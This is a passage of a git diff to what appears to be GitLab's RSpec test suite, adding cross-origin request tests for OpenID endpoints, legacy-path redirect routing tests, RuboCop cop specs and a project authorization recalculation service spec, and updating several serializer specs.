+ context 'with a cross-origin preflight OPTIONS request' do
+ before do
+ options '/.well-known/openid-configuration', headers: cors_request_headers
+ end
+
+ it_behaves_like 'cross-origin GET request'
+ end
end
context 'Application with OpenID and email scopes' do
@@ -218,6 +304,30 @@ RSpec.describe 'OpenID Connect requests' do
it 'has true in email_verified claim' do
expect(json_response['email_verified']).to eq(true)
end
+
+ context 'with a cross-origin request' do
+ before do
+ get '/oauth/userinfo', headers: cors_request_headers
+ end
+
+ it_behaves_like 'cross-origin GET and POST request'
+ end
+
+ context 'with a cross-origin POST request' do
+ before do
+ post '/oauth/userinfo', headers: cors_request_headers
+ end
+
+ it_behaves_like 'cross-origin GET and POST request'
+ end
+
+ context 'with a cross-origin preflight OPTIONS request' do
+ before do
+ options '/oauth/userinfo', headers: cors_request_headers
+ end
+
+ it_behaves_like 'cross-origin GET and POST request'
+ end
end
context 'ID token payload' do
diff --git a/spec/requests/users_controller_spec.rb b/spec/requests/users_controller_spec.rb
index f092cbf26a4..5a38f92221f 100644
--- a/spec/requests/users_controller_spec.rb
+++ b/spec/requests/users_controller_spec.rb
@@ -675,48 +675,6 @@ RSpec.describe UsersController do
end
end
- describe 'GET #suggests' do
- context 'when user exists' do
- it 'returns JSON indicating the user exists and a suggestion' do
- get user_suggests_url user.username
-
- expected_json = { exists: true, suggests: ["#{user.username}1"] }.to_json
- expect(response.body).to eq(expected_json)
- end
-
- context 'when the casing is different' do
- let(:user) { create(:user, username: 'CamelCaseUser') }
-
- it 'returns JSON indicating the user exists and a suggestion' do
- get user_suggests_url user.username.downcase
-
- expected_json = { exists: true, suggests: ["#{user.username.downcase}1"] }.to_json
- expect(response.body).to eq(expected_json)
- end
- end
- end
-
- context 'when the user does not exist' do
- it 'returns JSON indicating the user does not exist' do
- get user_suggests_url 'foo'
-
- expected_json = { exists: false, suggests: [] }.to_json
- expect(response.body).to eq(expected_json)
- end
-
- context 'when a user changed their username' do
- let(:redirect_route) { user.namespace.redirect_routes.create!(path: 'old-username') }
-
- it 'returns JSON indicating a user by that username does not exist' do
- get user_suggests_url 'old-username'
-
- expected_json = { exists: false, suggests: [] }.to_json
- expect(response.body).to eq(expected_json)
- end
- end
- end
- end
-
describe '#ensure_canonical_path' do
before do
sign_in(user)
diff --git a/spec/routing/project_routing_spec.rb b/spec/routing/project_routing_spec.rb
index 056f4d30ea5..fe04a1d7c4a 100644
--- a/spec/routing/project_routing_spec.rb
+++ b/spec/routing/project_routing_spec.rb
@@ -202,6 +202,16 @@ RSpec.describe 'project routing' do
namespace_id: 'gitlab', project_id: 'gitlabhq',
id: "stable", path: "new\n\nline.txt" })
end
+
+ it_behaves_like 'redirecting a legacy path', '/gitlab/gitlabhq/refs/switch', '/gitlab/gitlabhq/-/refs/switch'
+
+ it_behaves_like 'redirecting a legacy path',
+ '/gitlab/gitlabhq/refs/feature%2345/logs_tree',
+ '/gitlab/gitlabhq/-/refs/feature%2345/logs_tree'
+
+ it_behaves_like 'redirecting a legacy path',
+ '/gitlab/gitlabhq/refs/stable/logs_tree/new%0A%0Aline.txt',
+ '/gitlab/gitlabhq/-/refs/stable/logs_tree/new%0A%0Aline.txt'
end
describe Projects::MergeRequestsController, 'routing' do
@@ -310,9 +320,11 @@ RSpec.describe 'project routing' do
expect(get('/gitlab/gitlabhq/-/snippets/1')).to route_to('projects/snippets#show', namespace_id: 'gitlab', project_id: 'gitlabhq', id: '1')
end
- it 'to #show from unscope routing' do
- expect(get('/gitlab/gitlabhq/snippets/1')).to route_to('projects/snippets#show', namespace_id: 'gitlab', project_id: 'gitlabhq', id: '1')
+ it 'to #raw from unscope routing' do
+ expect(get('/gitlab/gitlabhq/snippets/1/raw')).to route_to('projects/snippets#raw', namespace_id: 'gitlab', project_id: 'gitlabhq', id: '1')
end
+
+ it_behaves_like 'redirecting a legacy path', '/gitlab/gitlabhq/snippets/1', '/gitlab/gitlabhq/-/snippets/1'
end
# test_project_hook POST /:project_id/-/hooks/:id/test(.:format) hooks#test
@@ -357,9 +369,7 @@ RSpec.describe 'project routing' do
expect(get('/gitlab/gitlabhq/-/commit/4246fbd13872934f72a8fd0d6fb1317b47b59cb5')).to route_to('projects/commit#show', namespace_id: 'gitlab', project_id: 'gitlabhq', id: '4246fbd13872934f72a8fd0d6fb1317b47b59cb5')
end
- it 'to #show unscoped routing' do
- expect(get('/gitlab/gitlabhq/commit/4246fbd')).to route_to('projects/commit#show', namespace_id: 'gitlab', project_id: 'gitlabhq', id: '4246fbd')
- end
+ it_behaves_like 'redirecting a legacy path', "/gitlab/gitlabhq/commit/4246fbd", "/gitlab/gitlabhq/-/commit/4246fbd"
end
# patch_project_commit GET /:project_id/commits/:id/patch(.:format) commits#patch
@@ -376,9 +386,7 @@ RSpec.describe 'project routing' do
expect(get('/gitlab/gitlabhq/-/commits/master.atom')).to route_to('projects/commits#show', namespace_id: 'gitlab', project_id: 'gitlabhq', id: 'master.atom')
end
- it 'to #show unscoped routing' do
- expect(get('/gitlab/gitlabhq/commits/master.atom')).to route_to('projects/commits#show', namespace_id: 'gitlab', project_id: 'gitlabhq', id: 'master.atom')
- end
+ it_behaves_like 'redirecting a legacy path', "/gitlab/gitlabhq/commits/master", "/gitlab/gitlabhq/-/commits/master"
end
# project_project_members GET /:project_id/project_members(.:format) project_members#index
@@ -517,6 +525,7 @@ RSpec.describe 'project routing' do
end
it 'to #show from unscoped routing' do
+ expect(get('/gitlab/gitlabhq/tree/master')).to route_to('projects/tree#show', namespace_id: 'gitlab', project_id: 'gitlabhq', id: 'master')
expect(get('/gitlab/gitlabhq/tree/master/app/models/project.rb')).to route_to('projects/tree#show', namespace_id: 'gitlab', project_id: 'gitlabhq', id: 'master/app/models/project.rb')
end
end
@@ -545,6 +554,9 @@ RSpec.describe 'project routing' do
namespace_id: 'gitlab', project_id: 'gitlabhq',
id: "#{newline_file}" })
end
+
+ it_behaves_like 'redirecting a legacy path', "/gitlab/gitlabhq/find_file", "/gitlab/gitlabhq/-/find_file"
+ it_behaves_like 'redirecting a legacy path', "/gitlab/gitlabhq/files/master", "/gitlab/gitlabhq/-/files/master"
end
describe Projects::BlobController, 'routing' do
@@ -575,6 +587,9 @@ RSpec.describe 'project routing' do
namespace_id: 'gitlab', project_id: 'gitlabhq',
id: "master/docs/#{newline_file}" })
end
+
+ it_behaves_like 'redirecting a legacy path', "/gitlab/gitlabhq/new/master", "/gitlab/gitlabhq/-/new/master"
+ it_behaves_like 'redirecting a legacy path', "/gitlab/gitlabhq/edit/master/README", "/gitlab/gitlabhq/-/edit/master/README"
end
# project_raw GET /:project_id/-/raw/:id(.:format) raw#show {id: /[^\0]+/, project_id: /[^\/]+/}
@@ -610,6 +625,9 @@ RSpec.describe 'project routing' do
expect(get('/gitlab/gitlabhq/-/compare/master...stable')).to route_to('projects/compare#show', namespace_id: 'gitlab', project_id: 'gitlabhq', from: 'master', to: 'stable')
expect(get('/gitlab/gitlabhq/-/compare/issue/1234...stable')).to route_to('projects/compare#show', namespace_id: 'gitlab', project_id: 'gitlabhq', from: 'issue/1234', to: 'stable')
end
+
+ it_behaves_like 'redirecting a legacy path', '/gitlab/gitlabhq/compare', '/gitlab/gitlabhq/-/compare'
+ it_behaves_like 'redirecting a legacy path', '/gitlab/gitlabhq/compare/master...stable', '/gitlab/gitlabhq/-/compare/master...stable'
end
describe Projects::NetworkController, 'routing' do
diff --git a/spec/routing/routing_spec.rb b/spec/routing/routing_spec.rb
index 7b9ba783885..e7ea5b79897 100644
--- a/spec/routing/routing_spec.rb
+++ b/spec/routing/routing_spec.rb
@@ -96,9 +96,11 @@ RSpec.describe SnippetsController, "routing" do
expect(get("/-/snippets/1")).to route_to('snippets#show', id: '1')
end
- it 'to #show from unscoped routing' do
- expect(get("/snippets/1")).to route_to('snippets#show', id: '1')
+ it 'to #raw from unscoped routing' do
+ expect(get("/snippets/1/raw")).to route_to('snippets#raw', id: '1')
end
+
+ it_behaves_like 'redirecting a legacy path', '/snippets/1', '/-/snippets/1'
end
# help GET /help(.:format) help#index
@@ -132,12 +134,10 @@ RSpec.describe ProfilesController, "routing" do
it "to #account" do
expect(get("/-/profile/account")).to route_to('profiles/accounts#show')
end
- it_behaves_like 'redirecting a legacy path', '/profile/account', '/-/profile/account'
it "to #audit_log" do
expect(get("/-/profile/audit_log")).to route_to('profiles#audit_log')
end
- it_behaves_like 'redirecting a legacy path', '/profile/audit_log', '/-/profile/audit_log'
it "to #reset_feed_token" do
expect(put("/-/profile/reset_feed_token")).to route_to('profiles#reset_feed_token')
@@ -146,7 +146,6 @@ RSpec.describe ProfilesController, "routing" do
it "to #show" do
expect(get("/-/profile")).to route_to('profiles#show')
end
- it_behaves_like 'redirecting a legacy path', '/profile', '/-/profile'
end
# profile_preferences GET /-/profile/preferences(.:format) profiles/preferences#show
@@ -156,7 +155,6 @@ RSpec.describe Profiles::PreferencesController, 'routing' do
it 'to #show' do
expect(get('/-/profile/preferences')).to route_to('profiles/preferences#show')
end
- it_behaves_like 'redirecting a legacy path', '/profile/preferences', '/-/profile/preferences'
it 'to #update' do
expect(put('/-/profile/preferences')).to route_to('profiles/preferences#update')
@@ -174,7 +172,6 @@ RSpec.describe Profiles::KeysController, "routing" do
it "to #index" do
expect(get("/-/profile/keys")).to route_to('profiles/keys#index')
end
- it_behaves_like 'redirecting a legacy path', '/profile/keys', '/-/profile/keys'
it "to #create" do
expect(post("/-/profile/keys")).to route_to('profiles/keys#create')
@@ -183,7 +180,6 @@ RSpec.describe Profiles::KeysController, "routing" do
it "to #show" do
expect(get("/-/profile/keys/1")).to route_to('profiles/keys#show', id: '1')
end
- it_behaves_like 'redirecting a legacy path', '/profile/keys/1', '/-/profile/keys/1'
it "to #destroy" do
expect(delete("/-/profile/keys/1")).to route_to('profiles/keys#destroy', id: '1')
@@ -198,7 +194,6 @@ RSpec.describe Profiles::GpgKeysController, "routing" do
it "to #index" do
expect(get("/-/profile/gpg_keys")).to route_to('profiles/gpg_keys#index')
end
- it_behaves_like 'redirecting a legacy path', '/profile/gpg_keys', '/-/profile/gpg_keys'
it "to #create" do
expect(post("/-/profile/gpg_keys")).to route_to('profiles/gpg_keys#create')
@@ -216,7 +211,6 @@ RSpec.describe Profiles::EmailsController, "routing" do
it "to #index" do
expect(get("/-/profile/emails")).to route_to('profiles/emails#index')
end
- it_behaves_like 'redirecting a legacy path', '/profile/emails', '/-/profile/emails'
it "to #create" do
expect(post("/-/profile/emails")).to route_to('profiles/emails#create')
@@ -335,10 +329,6 @@ RSpec.describe InvitesController, 'routing' do
it 'to #show' do
expect(get("/-/invites/#{member.invite_token}")).to route_to('invites#show', id: member.invite_token)
end
-
- it 'to legacy route' do
- expect(get("/invites/#{member.invite_token}")).to route_to('invites#show', id: member.invite_token)
- end
end
RSpec.describe AbuseReportsController, 'routing' do
@@ -347,10 +337,6 @@ RSpec.describe AbuseReportsController, 'routing' do
it 'to #new' do
expect(get("/-/abuse_reports/new?user_id=#{user.id}")).to route_to('abuse_reports#new', user_id: user.id.to_s)
end
-
- it 'to legacy route' do
- expect(get("/abuse_reports/new?user_id=#{user.id}")).to route_to('abuse_reports#new', user_id: user.id.to_s)
- end
end
RSpec.describe SentNotificationsController, 'routing' do
@@ -376,12 +362,6 @@ RSpec.describe AutocompleteController, 'routing' do
it 'to #merge_request_target_branches' do
expect(get("/-/autocomplete/merge_request_target_branches")).to route_to('autocomplete#merge_request_target_branches')
end
-
- it 'to legacy route' do
- expect(get("/autocomplete/users")).to route_to('autocomplete#users')
- expect(get("/autocomplete/projects")).to route_to('autocomplete#projects')
- expect(get("/autocomplete/award_emojis")).to route_to('autocomplete#award_emojis')
- end
end
RSpec.describe Snippets::BlobsController, "routing" do
diff --git a/spec/rubocop/cop/usage_data/histogram_with_large_table_spec.rb b/spec/rubocop/cop/usage_data/histogram_with_large_table_spec.rb
new file mode 100644
index 00000000000..56aecc3ec4e
--- /dev/null
+++ b/spec/rubocop/cop/usage_data/histogram_with_large_table_spec.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+require_relative '../../../../rubocop/cop/usage_data/histogram_with_large_table'
+
+RSpec.describe RuboCop::Cop::UsageData::HistogramWithLargeTable do
+ let(:high_traffic_models) { %w[Issue Ci::Build] }
+ let(:msg) { 'Avoid histogram method on' }
+
+ let(:config) do
+ RuboCop::Config.new('UsageData/HistogramWithLargeTable' => {
+ 'HighTrafficModels' => high_traffic_models
+ })
+ end
+
+ subject(:cop) { described_class.new(config) }
+
+ context 'with large tables' do
+ context 'with one-level constants' do
+ context 'when calling histogram(Issue)' do
+ it 'registers an offense' do
+ expect_offense(<<~CODE)
+ histogram(Issue, :project_id, buckets: 1..100)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{msg} Issue
+ CODE
+ end
+ end
+
+ context 'when calling histogram(::Issue)' do
+ it 'registers an offense' do
+ expect_offense(<<~CODE)
+ histogram(::Issue, :project_id, buckets: 1..100)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{msg} Issue
+ CODE
+ end
+ end
+
+ context 'when calling histogram(Issue.closed)' do
+ it 'registers an offense' do
+ expect_offense(<<~CODE)
+ histogram(Issue.closed, :project_id, buckets: 1..100)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{msg} Issue
+ CODE
+ end
+ end
+
+ context 'when calling histogram(::Issue.closed)' do
+ it 'registers an offense' do
+ expect_offense(<<~CODE)
+ histogram(::Issue.closed, :project_id, buckets: 1..100)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{msg} Issue
+ CODE
+ end
+ end
+ end
+
+ context 'with two-level constants' do
+ context 'when calling histogram(::Ci::Build)' do
+ it 'registers an offense' do
+ expect_offense(<<~CODE)
+ histogram(::Ci::Build, buckets: 1..100)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{msg} Ci::Build
+ CODE
+ end
+ end
+
+ context 'when calling histogram(::Ci::Build.active)' do
+ it 'registers an offense' do
+ expect_offense(<<~CODE)
+ histogram(::Ci::Build.active, buckets: 1..100)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{msg} Ci::Build
+ CODE
+ end
+ end
+
+ context 'when calling histogram(Ci::Build)' do
+ it 'registers an offense' do
+ expect_offense(<<~CODE)
+ histogram(Ci::Build, buckets: 1..100)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{msg} Ci::Build
+ CODE
+ end
+ end
+
+ context 'when calling histogram(Ci::Build.active)' do
+ it 'registers an offense' do
+ expect_offense(<<~CODE)
+ histogram(Ci::Build.active, buckets: 1..100)
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ #{msg} Ci::Build
+ CODE
+ end
+ end
+ end
+ end
+
+ context 'with non related class' do
+ it 'does not register an offense' do
+ expect_no_offenses('histogram(MergeRequest, buckets: 1..100)')
+ end
+ end
+
+ context 'with non related method' do
+ it 'does not register an offense' do
+ expect_no_offenses('count(Issue, buckets: 1..100)')
+ end
+ end
+end
diff --git a/spec/rubocop/cop/usage_data/instrumentation_superclass_spec.rb b/spec/rubocop/cop/usage_data/instrumentation_superclass_spec.rb
new file mode 100644
index 00000000000..31324331e61
--- /dev/null
+++ b/spec/rubocop/cop/usage_data/instrumentation_superclass_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+require_relative '../../../../rubocop/cop/usage_data/instrumentation_superclass'
+
+RSpec.describe RuboCop::Cop::UsageData::InstrumentationSuperclass do
+ let(:allowed_classes) { %i[GenericMetric DatabaseMetric RedisHllMetric] }
+ let(:msg) { "Instrumentation classes should subclass one of the following: #{allowed_classes.join(', ')}." }
+
+ let(:config) do
+ RuboCop::Config.new('UsageData/InstrumentationSuperclass' => {
+ 'AllowedClasses' => allowed_classes
+ })
+ end
+
+ subject(:cop) { described_class.new(config) }
+
+ context 'with class definition' do
+ context 'when inheriting from allowed superclass' do
+ it 'does not register an offense' do
+ expect_no_offenses('class NewMetric < GenericMetric; end')
+ end
+ end
+
+ context 'when inheriting from some other superclass' do
+ it 'registers an offense' do
+ expect_offense(<<~CODE)
+ class NewMetric < BaseMetric; end
+ ^^^^^^^^^^ #{msg}
+ CODE
+ end
+ end
+
+ context 'when not inheriting' do
+ it 'does not register an offense' do
+ expect_no_offenses('class NewMetric; end')
+ end
+ end
+ end
+
+ context 'with dynamic class definition' do
+ context 'when inheriting from allowed superclass' do
+ it 'does not register an offense' do
+ expect_no_offenses('NewMetric = Class.new(GenericMetric)')
+ end
+ end
+
+ context 'when inheriting from some other superclass' do
+ it 'registers an offense' do
+ expect_offense(<<~CODE)
+ NewMetric = Class.new(BaseMetric)
+ ^^^^^^^^^^ #{msg}
+ CODE
+ end
+ end
+
+ context 'when not inheriting' do
+ it 'does not register an offense' do
+ expect_no_offenses('NewMetric = Class.new')
+ end
+ end
+ end
+end
diff --git a/spec/serializers/analytics_summary_serializer_spec.rb b/spec/serializers/analytics_summary_serializer_spec.rb
index cd8be07827d..9429c9d571a 100644
--- a/spec/serializers/analytics_summary_serializer_spec.rb
+++ b/spec/serializers/analytics_summary_serializer_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe AnalyticsSummarySerializer do
let(:resource) do
Gitlab::CycleAnalytics::Summary::Issue
- .new(project: double, from: 1.day.ago, current_user: user)
+ .new(project: double, options: { from: 1.day.ago }, current_user: user)
end
before do
@@ -36,7 +36,7 @@ RSpec.describe AnalyticsSummarySerializer do
context 'when representing with unit' do
let(:resource) do
Gitlab::CycleAnalytics::Summary::DeploymentFrequency
- .new(deployments: 10, from: 1.day.ago)
+ .new(deployments: 10, options: { from: 1.day.ago })
end
subject { described_class.new.represent(resource, with_unit: true) }
diff --git a/spec/serializers/cluster_application_entity_spec.rb b/spec/serializers/cluster_application_entity_spec.rb
index aa2bb25b17c..1e71e45948c 100644
--- a/spec/serializers/cluster_application_entity_spec.rb
+++ b/spec/serializers/cluster_application_entity_spec.rb
@@ -77,17 +77,5 @@ RSpec.describe ClusterApplicationEntity do
expect(subject[:pages_domain]).to eq(id: pages_domain.id, domain: pages_domain.domain)
end
end
-
- context 'for fluentd application' do
- let(:application) { build(:clusters_applications_fluentd, :installed) }
-
- it 'includes host, port, protocol and log fields' do
- expect(subject[:port]).to eq(514)
- expect(subject[:host]).to eq("example.com")
- expect(subject[:protocol]).to eq("tcp")
- expect(subject[:waf_log_enabled]).to be true
- expect(subject[:cilium_log_enabled]).to be true
- end
- end
end
end
diff --git a/spec/serializers/cluster_entity_spec.rb b/spec/serializers/cluster_entity_spec.rb
index 10c6bc0e42a..ee1388024ea 100644
--- a/spec/serializers/cluster_entity_spec.rb
+++ b/spec/serializers/cluster_entity_spec.rb
@@ -91,9 +91,9 @@ RSpec.describe ClusterEntity do
end
end
- context 'elastic stack is installed on cluster' do
+ context 'elastic stack is enabled on cluster' do
it 'returns true' do
- create(:clusters_applications_elastic_stack, :installed, cluster: cluster)
+ create(:clusters_integrations_elastic_stack, cluster: cluster)
expect(subject[:enable_advanced_logs_querying]).to be true
end
diff --git a/spec/serializers/fork_namespace_entity_spec.rb b/spec/serializers/fork_namespace_entity_spec.rb
index 5e9918a89ff..32223b0d41a 100644
--- a/spec/serializers/fork_namespace_entity_spec.rb
+++ b/spec/serializers/fork_namespace_entity_spec.rb
@@ -9,12 +9,15 @@ RSpec.describe ForkNamespaceEntity do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
let_it_be(:namespace) { create(:group, :with_avatar, description: 'test') }
+ let_it_be(:forked_project) { build(:project) }
let(:memberships) do
user.members.index_by(&:source_id)
end
- let(:entity) { described_class.new(namespace, current_user: user, project: project, memberships: memberships) }
+ let(:forked_projects) { { namespace.id => forked_project } }
+
+ let(:entity) { described_class.new(namespace, current_user: user, project: project, memberships: memberships, forked_projects: forked_projects) }
subject(:json) { entity.as_json }
@@ -46,10 +49,7 @@ RSpec.describe ForkNamespaceEntity do
end
it 'exposes forked_project_path when fork exists in namespace' do
- namespace.add_maintainer(user)
- fork_in_namespace = fork_project(project, user, namespace: namespace)
-
- expect(json[:forked_project_path]).to eql project_path(fork_in_namespace)
+ expect(json[:forked_project_path]).to eql project_path(forked_project)
end
it 'exposes relative path to the namespace' do
@@ -60,15 +60,25 @@ RSpec.describe ForkNamespaceEntity do
expect(json[:permission]).to eql 'Developer'
end
- it 'sets can_create_project to true when user can create projects in namespace' do
- allow(user).to receive(:can?).with(:create_projects, namespace).and_return(true)
-
+ it 'exposes can_create_project' do
expect(json[:can_create_project]).to be true
end
- it 'sets can_create_project to false when user is not allowed create projects in namespace' do
- allow(user).to receive(:can?).with(:create_projects, namespace).and_return(false)
+ context 'when fork_project_form feature flag is disabled' do
+ before do
+ stub_feature_flags(fork_project_form: false)
+ end
+
+ it 'sets can_create_project to true when user can create projects in namespace' do
+ allow(user).to receive(:can?).with(:create_projects, namespace).and_return(true)
- expect(json[:can_create_project]).to be false
+ expect(json[:can_create_project]).to be true
+ end
+
+ it 'sets can_create_project to false when user is not allowed create projects in namespace' do
+ allow(user).to receive(:can?).with(:create_projects, namespace).and_return(false)
+
+ expect(json[:can_create_project]).to be false
+ end
end
end
diff --git a/spec/serializers/issue_board_entity_spec.rb b/spec/serializers/issue_board_entity_spec.rb
index 138b8174d81..30423ceba6d 100644
--- a/spec/serializers/issue_board_entity_spec.rb
+++ b/spec/serializers/issue_board_entity_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe IssueBoardEntity do
it 'has basic attributes' do
expect(subject).to include(:id, :iid, :title, :confidential, :due_date, :project_id, :relative_position,
- :labels, :assignees, project: hash_including(:id, :path))
+ :labels, :assignees, project: hash_including(:id, :path, :path_with_namespace))
end
it 'has path and endpoints' do
diff --git a/spec/serializers/member_serializer_spec.rb b/spec/serializers/member_serializer_spec.rb
index 687d69f86ea..bc256432c46 100644
--- a/spec/serializers/member_serializer_spec.rb
+++ b/spec/serializers/member_serializer_spec.rb
@@ -42,7 +42,7 @@ RSpec.describe MemberSerializer do
it_behaves_like 'members.json'
it 'does not invoke group owner assignment' do
- expect(Members::LastGroupOwnerAssigner).not_to receive(:new)
+ expect(LastGroupOwnerAssigner).not_to receive(:new)
representation
end
diff --git a/spec/serializers/merge_request_diff_entity_spec.rb b/spec/serializers/merge_request_diff_entity_spec.rb
index a3b356505b8..9bf95e68874 100644
--- a/spec/serializers/merge_request_diff_entity_spec.rb
+++ b/spec/serializers/merge_request_diff_entity_spec.rb
@@ -10,8 +10,16 @@ RSpec.describe MergeRequestDiffEntity do
let(:merge_request_diffs) { merge_request.merge_request_diffs }
let(:merge_request_diff) { merge_request_diffs.first }
- let(:entity) do
- described_class.new(merge_request_diff, request: request, merge_request: merge_request, merge_request_diffs: merge_request_diffs)
+ let(:entity) { initialize_entity(merge_request, merge_request_diff) }
+
+ def initialize_entity(merge_request, merge_request_diff)
+ described_class.new(
+ merge_request_diff,
+ request: request,
+ merge_request: merge_request,
+ merge_request_diff: merge_request_diff,
+ merge_request_diffs: merge_request_diffs
+ )
end
subject { entity.as_json }
@@ -26,6 +34,62 @@ RSpec.describe MergeRequestDiffEntity do
end
end
+ describe '#version_index' do
+ shared_examples 'version_index is nil' do
+ it 'returns nil' do
+ expect(subject[:version_index]).to be_nil
+ end
+ end
+
+ context 'when diff is not present' do
+ let(:entity) do
+ described_class.new(
+ merge_request_diff,
+ request: request,
+ merge_request: merge_request,
+ merge_request_diffs: merge_request_diffs
+ )
+ end
+
+ it_behaves_like 'version_index is nil'
+ end
+
+ context 'when diff is not included in @merge_request_diffs' do
+ let(:merge_request_diff) { create(:merge_request_diff) }
+ let(:merge_request_diff_2) { create(:merge_request_diff) }
+
+ before do
+ merge_request_diffs << merge_request_diff_2
+ end
+
+ it_behaves_like 'version_index is nil'
+ end
+
+ context 'when @merge_request_diffs.size <= 1' do
+ before do
+ expect(merge_request_diffs.size).to eq(1)
+ end
+
+ it_behaves_like 'version_index is nil'
+ end
+
+ context 'when @merge_request_diffs.size > 1' do
+ let(:merge_request) { create(:merge_request_with_multiple_diffs) }
+
+ it 'returns difference between size and diff index' do
+ expect(merge_request_diffs.size).to eq(2)
+
+ # diff index: 0
+ subject = initialize_entity(merge_request, merge_request_diffs.first)
+ expect(subject.as_json[:version_index]).to eq(2)
+
+ # diff index: 1
+ subject = initialize_entity(merge_request, merge_request_diffs.last)
+ expect(subject.as_json[:version_index]).to eq(1)
+ end
+ end
+ end
+
describe '#short_commit_sha' do
it 'returns short sha' do
expect(subject[:short_commit_sha]).to eq('b83d6e39')
diff --git a/spec/serializers/pipeline_serializer_spec.rb b/spec/serializers/pipeline_serializer_spec.rb
index 1111290cade..bcad9eb6e23 100644
--- a/spec/serializers/pipeline_serializer_spec.rb
+++ b/spec/serializers/pipeline_serializer_spec.rb
@@ -212,18 +212,17 @@ RSpec.describe PipelineSerializer do
context 'with build environments' do
let(:ref) { 'feature' }
- it 'verifies number of queries', :request_store do
- stub_licensed_features(protected_environments: true)
+ let_it_be(:production) { create(:environment, :production, project: project) }
+ let_it_be(:staging) { create(:environment, :staging, project: project) }
- env = create(:environment, project: project)
- create(:ci_build, :scheduled, project: project, environment: env.name)
- create(:ci_build, :scheduled, project: project, environment: env.name)
- create(:ci_build, :scheduled, project: project, environment: env.name)
+ it 'executes one query to fetch all related environments', :request_store do
+ pipeline = create(:ci_pipeline, project: project)
+ create(:ci_build, :manual, pipeline: pipeline, environment: production.name)
+ create(:ci_build, :manual, pipeline: pipeline, environment: staging.name)
+ create(:ci_build, :scheduled, pipeline: pipeline, environment: production.name)
+ create(:ci_build, :scheduled, pipeline: pipeline, environment: staging.name)
- recorded = ActiveRecord::QueryRecorder.new { subject }
- expected_queries = Gitlab.ee? ? 56 : 52
- expect(recorded.count).to be_within(1).of(expected_queries)
- expect(recorded.cached_count).to eq(0)
+ expect { subject }.not_to exceed_query_limit(1).for_query /SELECT "environments".*/
end
end
diff --git a/spec/services/admin/propagate_service_template_spec.rb b/spec/services/admin/propagate_service_template_spec.rb
index 406da790a66..1bcf9af78ce 100644
--- a/spec/services/admin/propagate_service_template_spec.rb
+++ b/spec/services/admin/propagate_service_template_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe Admin::PropagateServiceTemplate do
describe '.propagate' do
let_it_be(:project) { create(:project) }
let!(:service_template) do
- PushoverService.create!(
+ Integrations::Pushover.create!(
template: true,
active: true,
push_events: false,
diff --git a/spec/services/authorized_project_update/periodic_recalculate_service_spec.rb b/spec/services/authorized_project_update/periodic_recalculate_service_spec.rb
index c776e013fdf..782f6858870 100644
--- a/spec/services/authorized_project_update/periodic_recalculate_service_spec.rb
+++ b/spec/services/authorized_project_update/periodic_recalculate_service_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe AuthorizedProjectUpdate::PeriodicRecalculateService do
end
it 'calls AuthorizedProjectUpdate::UserRefreshOverUserRangeWorker' do
- (1..User.maximum(:id)).each_slice(batch_size).with_index do |batch, index|
+ (1..User.maximum(:id)).each_slice(batch_size).with_index(1) do |batch, index|
delay = AuthorizedProjectUpdate::PeriodicRecalculateService::DELAY_INTERVAL * index
expect(AuthorizedProjectUpdate::UserRefreshOverUserRangeWorker).to(
diff --git a/spec/services/authorized_project_update/project_recalculate_service_spec.rb b/spec/services/authorized_project_update/project_recalculate_service_spec.rb
new file mode 100644
index 00000000000..c339faaeabf
--- /dev/null
+++ b/spec/services/authorized_project_update/project_recalculate_service_spec.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe AuthorizedProjectUpdate::ProjectRecalculateService, '#execute' do
+ let_it_be(:project) { create(:project) }
+
+ subject(:execute) { described_class.new(project).execute }
+
+ it 'returns success' do
+ expect(execute.success?).to eq(true)
+ end
+
+ context 'when there are no changes to be made' do
+ it 'does not change authorizations' do
+ expect { execute }.not_to(change { ProjectAuthorization.count })
+ end
+ end
+
+ context 'when there are changes to be made' do
+ let(:user) { create(:user) }
+
+ context 'when addition is required' do
+ before do
+ project.add_developer(user)
+ project.project_authorizations.where(user: user).delete_all
+ end
+
+ it 'adds a new authorization record' do
+ expect { execute }.to(
+ change { project.project_authorizations.where(user: user).count }
+ .from(0).to(1)
+ )
+ end
+
+ it 'adds a new authorization record with the correct access level' do
+ execute
+
+ project_authorization = project.project_authorizations.where(
+ user: user,
+ access_level: Gitlab::Access::DEVELOPER
+ )
+
+ expect(project_authorization).to exist
+ end
+ end
+
+ context 'when removal is required' do
+ before do
+ create(:project_authorization, user: user, project: project)
+ end
+
+ it 'removes the authorization record' do
+ expect { execute }.to(
+ change { project.project_authorizations.where(user: user).count }
+ .from(1).to(0)
+ )
+ end
+ end
+
+ context 'when an update in access level is required' do
+ before do
+ project.add_developer(user)
+ project.project_authorizations.where(user: user).delete_all
+ create(:project_authorization, project: project, user: user, access_level: Gitlab::Access::GUEST)
+ end
+
+ it 'updates the authorization of the user to the correct access level' do
+ expect { execute }.to(
+ change { project.project_authorizations.find_by(user: user).access_level }
+ .from(Gitlab::Access::GUEST).to(Gitlab::Access::DEVELOPER)
+ )
+ end
+ end
+ end
+end
diff --git a/spec/services/authorized_project_update/recalculate_for_user_range_service_spec.rb b/spec/services/authorized_project_update/recalculate_for_user_range_service_spec.rb
deleted file mode 100644
index 95e2c0380bf..00000000000
--- a/spec/services/authorized_project_update/recalculate_for_user_range_service_spec.rb
